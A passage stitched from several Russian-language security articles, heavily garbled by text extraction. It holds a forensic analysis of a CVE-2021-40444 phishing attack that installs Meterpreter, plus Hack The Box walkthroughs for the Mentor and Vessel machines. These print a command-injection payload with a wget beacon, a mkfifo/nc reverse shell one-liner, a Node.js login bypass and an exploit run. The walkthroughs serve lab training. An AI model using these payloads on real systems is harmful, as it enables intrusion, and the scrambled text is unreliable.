сом 192.168.112.128 начал ска ниро вать сетевой ресурс 192.168.112.139.
MAC-адрес ата куемой машины — . В резуль тате ска- 
ниро вания выяс нилось, что на ата куемой машине откры ты семь пор тов: 25,
110, 135, 139, 143, 445, 587.

00:0C:29:B7:CA:91

Рас смот рим даль нейшие дей ствия зло умыш ленни ка, про дол жив ана лизи- 
ровать дамп сетево го тра фика.

В 12:31:54 зло умыш ленник отправ ляет элек трон ное сооб щение на сер вер
SMTP (25-й порт сетево го ресур са 192.168.112.139). Начиная с пакета 2645,
мож но уви деть вза имо дей ствие по про токо лу SMTP (порт 25), пол ный спи сок
команд про токо ла при веден в .бло ге

Пос тро им TCP-поток и раз берем коман ды про токо ла SMTP и заголо вок
сооб щения, для это го наж мем пра вой кноп кой мыши над пись «Сле довать»
и выберем в кон текс тном меню пункт «Поток TCP». Номер TCP-потока
с SMTP-вза имо дей стви ем — .1183

SMTP-вза имо дей ствие

Ко ман да  исполь зует ся для пред став ления кли ента сер веру SMTP. Имя
кли ента — , сер вер воз вра щает ста тус , соеди нение уста нов лено
успешно.

EHLO
kali 250

По ле  ука зыва ет отпра вите ля сооб щения:
, зна чение  опре деля ет получа теля

сооб щения: . Далее идет коман да ,
которая исполь зует ся для переда чи информа цион ной час ти сооб щения. Рас- 
смот рим заголо вок сооб щения. В заголов ке  ука заны дата и вре мя
отправ ки пись ма: 12:31:54 1 октября 2021 года. В заголов ке  —
прог рам мное обес печение, с помощью которо го зло умыш ленник отпра вил
сооб щение: sendMail вер сии 1.56.

MAIL FROM
support@cyberdefenders.org RPCT TO

joshua@cyberdefenders.org DATA

Date
X-Mailer

Со дер жимое пись ма

Пос ле заголов ка пись ма идет его содер жимое. Зло умыш ленник отпра вил
файл с наз вани ем . Поль зователь

 получил это сооб щение, заг рузил вло жение
и открыл его.

web server.docx
joshua@cyberdefenders.org

Выг рузим поч товое вло жение, для это го ско пиру ем закоди рован ные дан- 
ные, декоди руем их из Base64 и сох раним в файл .web server.docx

По лучим MD5-хеш иссле дуемо го фай ла:
 — и про верим его на . Сог- 

ласно отче ту сер виса, документ содер жит экс пло ит . Эта уяз- 
вимость поз воля ет выпол нять вре донос ный код, исполь зуя MSHTML (бра- 
узер ный дви жок Internet Explorer). Суть экс плу ата ции зак люча ется в том, что
в документ MS Office встра ивает ся ссыл ка на вре донос ный скрипт, который
запус кает ся с исполь зовани ем MSHTML. Это, в свою оче редь, при водит
к заг рузке CAB-фай ла, в котором содер жится DLL-файл с рас ширени ем .

55e7660d9b21ba07fc34630d49445030 VirusTotal
CVE-2021-40444

.inf
Це поч ка выпол нения экс пло ита выг лядит сле дующим обра зом:

1. Поль зователь откры вает вре донос ный документ ..docx

2. Объ ект , хра нящий ся в ,
ука зыва ет на уда лен ный вре донос ный HTML-файл.

external relationship document.xml.rels

3. Пред варитель ный прос мотр Internet Explorer откры вает HTML-ссыл ку.
4. JScript в HTML содер жит объ ект, ука зыва ющий на CAB-файл, и iframe, ука- 

зыва ющий на INF-файл с пре фик сом дирек тивы ..cpl:

5. Пос ле откры тия CAB-фай ла INF-файл переме щает ся в каталог, ука зан ный
зло умыш ленни ком.

6. Из-за уяз вимос ти обхо да пути (Zip Slip) в CAB мож но сох ранить INF по пути
.%TEMP%

7. За тем INF-файл откры вает ся с помощью дирек тивы , что вызыва ет
боковую заг рузку INF-фай ла через  (если это DLL).

.cpl:

rundll32

Ис сле дуем вре донос ный документ, най дем вре донос ную ссыл ку на HTML-
файл.

С помощью ути литы oleid получим информа цию о докумен те MS Office.

oleid webserver.docx 

Вы вод ути литы oleid

Оп ределим External Relationships в докумен те, добавим к име ни фай ла рас- 
ширение  и най дем файл  →  → ..zip word _rels document.xml.rels

Со дер жимое фай ла document.xml.rels

Иден тифика тор внеш него объ екта — , ссыл ка на HTML-файл выг лядит
сле дующим обра зом:

rId6

http://192.168.112.128/word.html 

Те перь най дем под робную информа цию о внеш нем отно шении с иден-
тифика тором , для это го перей дем к фай лу  → .rId6 word document.xml

Ин форма ция о внеш нем отно шении с иден тифика тором rId6

LinkType OLE-объ екта — , это рас ширен ный фор мат
метафай ла.

EnhancedMetaFile

Про дол жим ана лизи ровать сетевой тра фик. Теперь най дем в дам пе учас- 
ток, в котором заг ружа ется файл .word.html

На чиная с пакета 2946 (TCP-поток 1211), уста нав лива ется соеди нение
с внеш ней ссыл кой , в поле 

 HTTP-заголов ка ука зана прог рамма, с помощью которой осу щест влен
дос туп по ссыл ке. На ата куемом компь юте ре уста нов лен Microsoft Office Word
2013 вер сии 15.0.4517.

http://192.168.112.128/word.html User-
Agent

Ме тод OPTIONS от при ложе ния MS Office Word

Дви гаем ся даль ше по TCP-потокам. В потоке 1213 обна ружен GET-зап рос
к вре донос ному сер веру, в отве те которо го воз вра щает ся HTML-документ
с кодом JavaScript.

Заг ружа емый JavaScript-код

Сер вер вер нул HTML-документ, который содер жит вре донос ный обфусци- 
рован ный JavaScript.

Со дер жимое word.html

Код силь но обфусци рован, но в нем все же мож но най ти ссыл ку для заг рузки
фай ла . В перемен ной  содер жится ссыл ка 

. Далее вре донос ный код заг ружа ет CAB-архив, извле кает
из него файл , исполь зуя уяз вимость  (ата ку обхо да пути),
и сох раня ет файл в такой каталог:

.cab a0_0x12f http://192.168.
112.128/word.cab

msword.infl Zip Slip

C:\Users\IEUser\AppData\Local\Temp\msword.inf 

За тем запус кает этот файл.
Выг рузим этот документ из сетево го тра фика.

Со дер жимое CAB-архи ва

Сох раним файл как  и про ана лизи руем его. Для начала извле чем
DLL-наг рузку из CAB-фай ла.

word.cab

MD5-хеш DLL-фай ла — ,
по информа ции  этот файл явля ется наг рузкой Meterpreter и соз- 
дает ся в Metasploit.

2d7972ec8f063348991490c3d15ce989
VirusTotal

Заг рузим DLL-файл в IDA Pro, деком пилиру ем код и про ана лизи руем его.

Псев докод DLL-фай ла

В перемен ной  содер жится шелл-код, который записы вает ся
в память про цес са с помощью WinAPI-фун кции . В фун- 
кции  соз дает ся про цесс  (содер жимое
перемен ной ).

unk_10003000
WriteProcessMemory

CreateProcessA rundll32.exe
CommandLine

Выг рузим шелл-код, сох раним в файл  и с помощью ути литы scdbg
пос мотрим его содер жимое.

shell

scdbg /f shell 

Со дер жимое шелл-кода

Ад рес управля юще го сер вера — 192.168.112.128, порт 443. Заг ружа емая
биб лиоте ка для сетево го вза имо дей ствия — . Най дем учас ток вза- 
имо дей ствия с управля ющим сер вером в сетевом тра фике.

wininet

Вза имо дей ствие с управля ющим сер вером

Мы опре дели ли сетевой адрес ата кующе го, выяс нили, что пос ле ска ниро- 
вания сетево го ресур са 192.168.112.139 зло умыш ленник отпра вил вре- 
донос ное пись мо поль зовате лю  с вре донос- 
ным вло жени ем . Поль зователь открыл этот документ, пос- 
ле чего на его компь юте ре уста нови лась обратная обо лоч ка Meterpreter ути- 
литы Metasploit.

joshua@cyberdefenders.org
web server.docx

Те перь про ана лизи руем сетевой тра фик и отве тим на воп росы задания.
Отфиль тру ем пакеты по про токо лу DNS. В поле филь тра ука жем этот про- 
токол.

Па кеты DNS

В отфиль тро ван ном тра фике мож но уви деть DNS-зап росы к компь юте- 
ру 192.168.112.2 — DNS-сер веру орга низа ции. В пакете 5648 выпол няет ся
зап рос к домен ному име ни .omextemplates.content.office.net

Най дем пакет 4085, в котором уста нав лива ется TLS-соеди нение с узлом
.v10.vortex-win.data.microsoft.com

Со дер жимое пакета 4085

Нам известен сетевой адрес ата куемой машины 192.168.112.139 и MAC-
адрес сетевой кар ты . Перей дем на 

, что бы узнать про изво дите ля это го устрой ства.
00:0c:29:61:f9:84 https://

macaddress.io/

Про изво дитель сетевой кар ты

Ад рес ком пании про изво дите ля — 3401 Hillview Avenue Palo Alto CA 94304 US.
Най дем пуб личный ключ в сеан се TLS, для это го наж мем Ctrl + F

в Wireshark и наберем пред став ленный в задании иден тифика тор сес сии.

По иск пуб лично го клю ча TLS-сес сии

Пуб личный ключ TLS-сес сии:

64089e29f386356f1ffbd64d7056ca0f1d489a09cd7ebda630f2b7394e319406 

Мы отве тили на воп росы задания, а так же научи лись филь тро вать и ана лизи- 
ровать сетевой дамп.

Про ана лизи руем сетевой тра фик с помощью сис темы обна руже ния втор- 
жений Suricata, что бы детек тировать вре донос ную активность и обна ружить
компь ютер ную ата ку. Вос поль зуем ся ути литой Brim, в которой уста нов лен
дви жок Suricata.

В архи ве задания при сутс тву ют пра вила . Заг рузим их
в сле дующий каталог:

suricata.rules

%AppData%\Local\Programs\brim\resources\app.asar.unpacked\zdeps\
suricata\var\lib\suricata\rules 

И запус тим Brim. В поле филь тра вве дем сле дующие дан ные для поис ка пра- 
вил сра баты вания:

event_type=="alert" | alerts := union(alert.category) by src_ip, 
dest_ip,alert.signature | sort alerts 

Спи сок Suricata alert

Про ана лизи ровав дан ный пакет, мож но уви деть, что пра вило «экс плу ата ция
уяз вимос ти CVE-2020-11899» опре деле но оши боч но.

ÂÛÂÎÄÛ
Мы про вели рас сле дова ние инци ден та и вос ста нови ли кар тину ата ки. Зло- 
умыш ленник с сетево го адре са 192.168.112.128 в 12:31 1 октября 2021 года
прос каниро вал узел 192.168.112.139, на котором откры ты семь пор тов.
Затем он отпра вил сооб щение поль зовате лю 
с вло жени ем , в котором содер жится экс пло ит CVE-2021-
40444. Поль зователь открыл этот документ, и на его компь юте ре уста нови- 
лась Meterpreter-наг рузка с управля ющим сер вером 192.168.112.128,
порт 443.

joshua@cyberdefenders.org
web server.docx

mailto:grigadan454@gmail.com
https://cyberdefenders.org/blueteam-ctf-challenges/81
https://cyberdefenders.org/
https://cyberdefenders.org/blueteam-ctf-challenges/enroll/81
https://www.wireshark.org/
https://www.brimdata.io/download/
https://github.com/decalage2/oletools/wiki/oleid
https://github.com/dzzie/SCDBG
https://hex-rays.com/
https://stormwall.pro/knowledge-base/termin/tcp-handshake
https://www.geeksforgeeks.org/tcp-flags/
https://wiki.dieg.info/smtp
https://www.virustotal.com/gui/file/c7073b7fc18b3ec20e476a7375e2a6695d273f671917a6627430e59534d3a138
https://securelist.ru/exploitation-of-the-cve-2021-40444-vulnerability-in-mshtml/103627/
https://github.com/snyk/zip-slip-vulnerability
https://www.virustotal.com/gui/file/c41baa9b9d0b3c693f2c4e8ab8132df87eb8d48fe8b090bdf504f1f45433e147
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ВЗЛОМ

В этом рай тапе я покажу, как работать
со служ бой SNMP, что бы получить
информа цию, которая поможет в прод- 
вижении ата ки. Так же мы взло маем сайт
и получим RCE бла года ря уяз вимос ти в API.

На ша цель — зах ват учеб ной машины Mentor с пло щад ки . Уро- 
вень слож ности — сред ний.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.193    mentor.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел два откры тых пор та: 22 — служ ба OpenSSH 8.9p1 и 80 —
веб-сер вер Apache 2.4.52. На пор те 80 так же отме чаем редирект на сайт

. Так как мы рас кры ли новый домен, добав ляем
и его в файл .
http://mentorquotes.htb/

/etc/hosts

10.10.11.193 mentor.htb mentorquotes.htb 

Так же всег да сто ит про верять четыре пор та UDP, где может работать служ ба
SNMP.

nmap sudo -p161,162,10161,10162 -sU 10.10.11.193 

Ре зуль тат ска ниро вания пор тов UDP

И мы видим, что SNMP работа ет на пор те 161. SNMP — это про токол прик- 
ладно го уров ня, он дела ет воз можным обмен дан ными меж ду сетевы ми
устрой ства ми. Про токол поз воля ет сис темно му адми нис тра тору про водить
монито ринг, кон тро лиро вать про изво дитель ность сети и изме нять кон- 
фигура цию под клю чен ных устрой ств.

В SNMP исполь зует ся модель безопас ности сommunity-based (на осно ве
стро ки сооб щес тва). Фак тичес ки это иден тифика тор поль зовате ля
или пароль, который отправ ляет ся вмес те с зап росом. Если стро ка сооб щес- 
тва невер на, агент игно риру ет зап рос. Давай поп робу ем проб рутить эти
community-стро ки ска нером .onesixtyone

onesixtyone -c snmp_default_pass.txt 10.10.11.193 

Ре зуль тат перебо ра community-строк

Наш ли толь ко дефол тную стро ку , ничего полез ного она нам не дала.public

ÒÎ×ÊÀ ÂÕÎÄÀ
Ñêàíèðîâàíèå SNMP
У меня бывали слу чаи, ког да популяр ные средс тва ска ниро вания комь юни- 
ти-строк ничего не находи ли, а стро ки все же сущес тво вали. По этой при чине
сле дующим скрип том про буем зап росить базовую информа цию с помощью

 по каж дой стро ке из сло варя. В ито ге рас кры ваем еще одну
комь юни ти-стро ку .
snmpbulkwalk

internal

line  while read ; do
    

  1 
  echo $line ; snmpbulkwalk -c $line -v2c 10.10.11.193 . 2>/dev/
null | head -n
done < /usr/share/metasploit-framework/data/wordlists/snmp_default_
pass.txt 

Ре зуль тат выпол нения скрип та

Го воря о SNMP, сто ит упо мянуть MIB.  — это иерар хичес кая база дан ных
со све дени ями об устрой стве. У каж дого типа устрой ства своя MIB-таб лица:
у прин тера в ней содер жится информа ция о сос тоянии кар трид жей, а у ком- 
мутато ра — дан ные о тра фике. Бла года ря MIB сетевой менед жер зна ет,
какую информа цию он может зап росить у аген та устрой ства.

MIB

Каж дый объ ект в MIB име ет свой уни каль ный ID — OID, который пред став- 
лен в чис ловом фор мате и име ет иерар хичес кую струк туру.  — это чис- 
ловой экви валент пути к фай лу. Он прис ваивает зна чения каж дой таб лице
в MIB, каж дому стол бцу в таб лице и каж дому зна чению в стол бце.

OID

Так, по OID  мы можем зап росить про цес сы
на сетевом устрой стве.

1.3.6.1.2.1.25.4.2.1.2

snmpbulkwalk -c internal -v2c 10.10.11.193 1.3.6.1.2.1.25.4.2.1.2 

Про цес сы на уда лен ном хос те

Ви дим, что запуще ны скрип ты  и , а так же про цесс
. У каж дого про цес са есть так называ емая  — пол ная

коман да со все ми парамет рами, которая переда ется исполня емой коман- 
дной обо лоч ке. Зап росить их мож но по OID .

login.sh login.py
docker-proxy cmdline

1.3.6.1.2.1.25.4.2.1.5

snmpbulkwalk -c internal -v2c 10.10.11.193 1.3.6.1.2.1.25.4.2.1.5 

Пол ные коман ды про цес сов, запущен ных на хос те

В резуль тате получа ем какую-то инте рес ную стро ку, переда ваемую про цес су
. Воз можно, это пароль. Перехо дим к сер веру.login.py

Ñêàíèðîâàíèå âåá-ñåðâåðà
На сер вере рас положен сайт-визит ка, ничего инте рес ного най ти не получи- 
лось.

Глав ная стра ница сай та

Так как мы зна ем реаль ный домен, поп робу ем най ти дру гие сай ты, для чего
будем ска ниро вать под домены. Для это го я исполь зую лег ковес ную ути литу

.ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — заголо вок HTTP.• -H

Мес то перебо ра помеча ется сло вом FUZZ.

Ко ман да получа ется сле дующая:

ffuf 
 256  

-u http://mentorquotes.htb -w subdomains-top1million-110000.txt 
-t -H 'Host: FUZZ.mentorquotes.htb'

Ре зуль тат ска ниро вания под катало гов с помощью ffuf

В резуль тат ска ниро вания попада ют все вари анты из спис ка, поэто му нуж но
исполь зовать филь тры (я филь тро вал по коду отве та):

 — исклю чить из вывода код отве та;• -fc

 — выводить отве ты, кро ме тех, что в парамет ре fc.• -mc

ffuf 
 256    302  all 

-u http://mentorquotes.htb -w subdomains-top1million-110000.txt 
-t -H 'Host: FUZZ.mentorquotes.htb' -fc -mc

Ре зуль тат ска ниро вания под катало гов с помощью ffuf

И находим новый сайт на под домене . Добав ляем его в файл .api /etc/hosts

10.10.11.193 mentor.htb mentorquotes.htb api.mentorquotes.htb 

Глав ная стра ница api.mentorquotes.htb

Те перь прос каниру ем конеч ные точ ки API. Исполь зуем все тот же .ffuf

ffuf 
 256 

-u http://api.mentorquotes.htb/FUZZ -w directory_2.3_medium_
lowercase.txt -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

Из получен ного спис ка точек дос тупны толь ко  и ./docs /redoc

Стра ница /docs

Стра ница /redoc

На стра нице видим поч товый адрес поль зовате ля .james

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/ffuf/ffuf
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
Поп робу ем получить токен дос тупа, авто ризо вав шись с най ден ными поч- 
товым адре сом и паролем.

{
"email": "james@mentorquotes.htb",
"username": "james",
"password": "kj23sadkj123as0-d213"

}

Ав ториза ция в API (зап рос)

От вет сер вера

По лучив токен, перехо дим к  и выпол няем зап рос к стра нице
адми нис тра тора.

Burp Repeater

Зап рос на стра ницу /admin

Рас кры ваем еще две конеч ные точ ки:  и . Но обра щение
к пер вой не дает резуль татов, а для вто рой нуж но изме нить метод зап роса
с  на .

/check /backup

GET POST

Зап рос к API /admin/check

Зап рос к API /admin/backup

Что бы лег ко поменять метод зап роса, в Burp дос таточ но выз вать кон текс тное
меню и выб рать пункт Change Request Method.

POST-зап рос к /admin/backup

В отве те получа ем новую навод ку: необ ходимо ука зать парамет ры. Один
параметр  берем из тек ста, это го ока зыва ется недос таточ но. Так
как обра щаем ся к API , ука жем параметр .

body
backup path

{
      "body":"test",
      "path":"/etc/hosts"
}

Зап рос к /admin/backup

Нам отве чают толь ко, успешно или нет завер шилась опе рация. Высока веро- 
ятность, что путь к фай лу переда ется в коман ду тер минала, поэто му необ- 
ходимо про верить наличие инъ екции коман ды ОС. В качес тве маяка будем
исполь зовать зап рос на собс твен ный сер вер, для это го и откры ваем лис- 
тенер .nc -nlpv 80

Я переп робовал нес коль ко наг рузок, и в резуль тате уда лось най ти вер ную.
Заод но выяс нилось, что на сер вере отсутс тву ет прог рамма . Так что
если ты исполь зуешь наг рузки толь ко с , то сто ит сде лать подоб ные
для wget и Python.

curl
curl

{
      "body":"test",
      "path":"/etc/hosts;wget http://10.10.14.11/test_rce"
}

Зап рос на сер вер

Ло ги лис тенера

Так как при сутс тву ет RCE, кида ем реверс-шелл:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.11 4321 >
/tmp/f;.

{
      "body":"test",
      "path":"/etc/hosts;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 
2>&1|nc 10.10.14.11 4321 >/tmp/f;"
}

Зап рос на сер вер

По луче ние сес сии

ÏÐÎÄÂÈÆÅÍÈÅ
По пада ем в кон тей нер Docker, где и работа ет уяз вимое при ложе ние. При- 
ложе ние исполь зует базу дан ных, и мы можем получить учет ные дан ные
для под клю чения к ней, а в ней най дем логины и хеши паролей поль зовате- 
лей. Пароль от базы находим в фай ле .db.py

Со дер жимое фай ла db.py

Те перь мы можем авто ризо вать ся в СУБД, но, что бы получить дос туп к пор ту
PostgreSQL, нуж но пос тро ить тун нель. Для это го будем исполь зовать .
На локаль ном хос те запус тим сер вер, который будет ждать под клю чения
(параметр ) на порт 8000 (параметр ).

chisel

--reverse -p

chisel.bin server -p 8000 --reverse

Ло ги chisel server

Те перь на уда лен ном хос те запус тим кли ент скую часть. Ука зыва ем адрес сер- 
вера и порт для под клю чения, а затем цепоч ку прок сирова ния:
порт 5432 локаль ного хос та на порт 5432 хос та .172.22.0.1

chisel.bin client 10.10.14.11:8000 R:5432:172.22.0.1:5432 

Ло ги chisel client

В логах сер вера дол жны уви деть сооб щение о соз дании сес сии.

Соз данная сес сия chisel

А теперь под клю чаем ся к СУБД PostgreSQL и получа ем сущес тву ющие в базе
таб лицы.

psql -h 127.0.0.1 -U postgres -d mentorquotes_db 

/d

Таб лицы

Таб лица , веро ятно, содер жит учет ные дан ные, поэто му получим из нее
все записи.

users

 select * from users;

Дан ные из таб лицы users

По луча ем хеши двух паролей, один из которых мы уже зна ем, поэто му вто рой
про веря ем по .он лай новой базе

Ре зуль тат взло ма пароля

С получен ными име нем поль зовате ля и паролем авто ризу емся по SSH
и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Ïîëüçîâàòåëü james
Те перь нам необ ходимо соб рать информа цию. Я для это го исполь зую скрип- 
ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, поэто му отбе рем толь ко
зна чимую.

Сре ди активных поль зовате лей с коман дной обо лоч кой отме чаем поль- 
зовате ля .james

Поль зовате ли с кон солью

На ходим дос тупный для чте ния файл кон фигура ции SNMP 
.

/etc/snmp/snmpd.
conf

Ана лиз SNMP-фай лов

Кон фиг может содер жать пароли и сек ретные стро ки, этот не ока зал ся
исклю чени ем.

Со дер жимое фай ла /etc/snmp/snmpd.conf

Про буем исполь зовать най ден ный пароль для поль зовате ля  и ста- 
новим ся на шаг бли же к зах вату машины.

james

Сес сия поль зовате ля james

Ïîëüçîâàòåëü root
Раз ведку на хос те уже про води ли, мало что может изме нить ся со сме ной кон- 
тек ста. Но одно из мест, которые все же сто ит про верить, — нас трой ки
sudoers.

 sudo -l

Нас трой ки sudo

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Та ким обра зом мы можем без вво да пароля получить при виле гиро ван ную
обо лоч ку ./bin/sh

sudo /bin/sh 

Флаг рута

Ма шина зах вачена!

https://github.com/jpillora/chisel
https://crackstation.net/
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
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ВЗЛОМ

В этом рай тапе я покажу, как повышать при- 
виле гии через уяз вимость CVE-2022-0811,
которая поз воля ет с мак сималь ными при- 
виле гиями выходить из кон тей нера в клас- 
тере Kubernetes. По дороге пос мотрим,
как собирать дан ные из репози тория Git,
про экс плу ати руем SQL-инъ екцию и попен- 
тестим плат форму Open Web Analytics, что- 
бы получить дос туп к хос ту. Еще раз берем- 
ся с генера тором паролей и рас шифру ем
PDF-документ.

На ша цель — зах ватить учеб ную машину Vessel с пло щад ки . Ее
уро вень — «слож ный».

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.178    vessel.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Ре зуль тат работы скрип та

Наш ли три откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41;•
8888 — веб-сер вер Python 3.8.10 вер сии 0.6.•

С SSH ничего сде лать не получит ся, веб-сер вер Python тоже вещь узкоспе-
циали зиро ван ная, поэто му идем к основно му сай ту на пор те 80.

Глав ная стра ница сай та

Нас встре чает сайт-визит ка без каких-либо допол нитель ных воз можнос тей,
поэто му прис тупим к ска ниро ванию.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL.• -u

Мес то перебо ра помеча ется сло вом FUZZ.

ffuf   -u 'http://vessel.htb/FUZZ' -w directory_2.3_medium_lowercase.
txt 

 256 -t

Ре зуль тат ска ниро вания катало гов с помощью ffuf

В вывод посыпа лись все вари анты из сло варя. Давай добавим филь тр, что бы
это го избе жать. К при меру, видим, что раз меры всех отве тов рав ны 26,
поэто му прос то исклю чим такие вари анты с помощью парамет ра .-fs

ffuf   -u 'http://vessel.htb/FUZZ' -w directory_2.3_medium_lowercase.
txt 

 256  26 -t -fs

В этот раз получа ем реаль ные катало ги, при чем очень даже инте рес ные.

ÒÎ×ÊÀ ÂÕÎÄÀ
Нач нем изу чение с катало га , который выпол няет редирект (код отве- 
та 301). Смот рим на него через бра узер и получа ем стра ницу 404. Так
как всю работу я веду через , могу в любой момент пос мотреть
исто рию зап росов.

dev

Burp Proxy

Burp History

Ви дим, что Apache выпол няет стан дар тный редирект с  в  и толь ко
тог да перехо дит к стра нице 404. То есть каталог  все же сущес тву ет,
поэто му выпол ним ска ниро вание в нем.

/dev /dev/
/dev/

ffuf    256 
 26 
-u 'http://vessel.htb/dev/FUZZ' -w files_interesting.txt -t

-fs

Ре зуль тат ска ниро вания фай лов с помощью ffuf

И находим дос тупный Git-репози торий. Ска чивать содер жимое репози тори ев
мож но с помощью пакета скрип тов .dvcs-ripper

./rip-git.pl -u http://vessel.htb/dev/.git/ 

А теперь в текущем катало ге прос то откры ваем gitk — это GUI для работы
с Git-репози тори ями. И сра зу находим учет ные дан ные для под клю чения
к базе дан ных.

Со дер жимое фай ла db.js

Гу ляя по исто рии ком митов, обна ружи ваем мес то, где была запат чена SQL-
инъ екция. Полез но прос матри вать подоб ные мес та, так как патч может быть
не сов сем кор рек тный.

Из менение в фай ле index.js

От кры ваем этот файл и смот рим, как обра баты вает ся поль зователь ский
ввод.

Со дер жимое фай ла index.js

Node.js поз воля ет работать со стро ками как с объ екта ми, то есть если вмес то
вво да прос той стро ки пароля мы вве дем прев ращен ный в стро ку объ ект

, то он будет интер пре тиро ван Node.js и мы получим
резуль тат про вер ки . Поп робу ем авто ризо вать ся от име ни адми нис тра- 
тора сай та. В Burp Proxy перех ватыва ем зап рос на авто риза цию и меня ем
переда ваемые дан ные.

password[password]=1
true

Зап рос на авто риза цию

Па нель адми нис тра тора сай та

Пос ле про пус ка зап роса получа ем адми нис тра тив ную панель как авто ризо- 
ван ный поль зователь.

ÒÎ×ÊÀ ÎÏÎÐÛ
Изу чаем содер жимое панели и находим гра фу ана лити ки, которая ведет нас
на дру гой под домен.

Ис тория зап росов в Burp History

Най ден ное домен ное имя добав ляем в файл  и пов торя ем зап- 
рос. Нас встре чает стра ница авто риза ции сис темы Open Web Analytics.

/etc/hosts

10.10.11.178 vessel.htb openwebanalytics.vessel.htb 

Фор ма авто риза ции OWA

Най ден ные учет ные дан ные сюда не подош ли, поэто му поищем готовые экс- 
пло иты. Пер вым делом сто ит про верять сай ты вро де  и .
Я без тру да отыс кал  как раз на GitHub.

HackerOne exploit-db
экс пло ит

По иск экс пло итов в Google

Open Web Analytics до вер сии 1.7.4 поз воля ет неав торизо ван ному ата кующе- 
му получать кон фиден циаль ную информа цию о поль зовате ле и добить ся при- 
виле гий адми нис тра тора. Впро чем, эта реали зация экс пло ита под робно
логиру ет все свои дей ствия. Откро ем лис тенер:

pwncat-cs -lp 4321 

И запус тим экс пло ит.

python3 exploit.py http://openwebanalytics.vessel.htb/ 10.10.14.4 
4321 

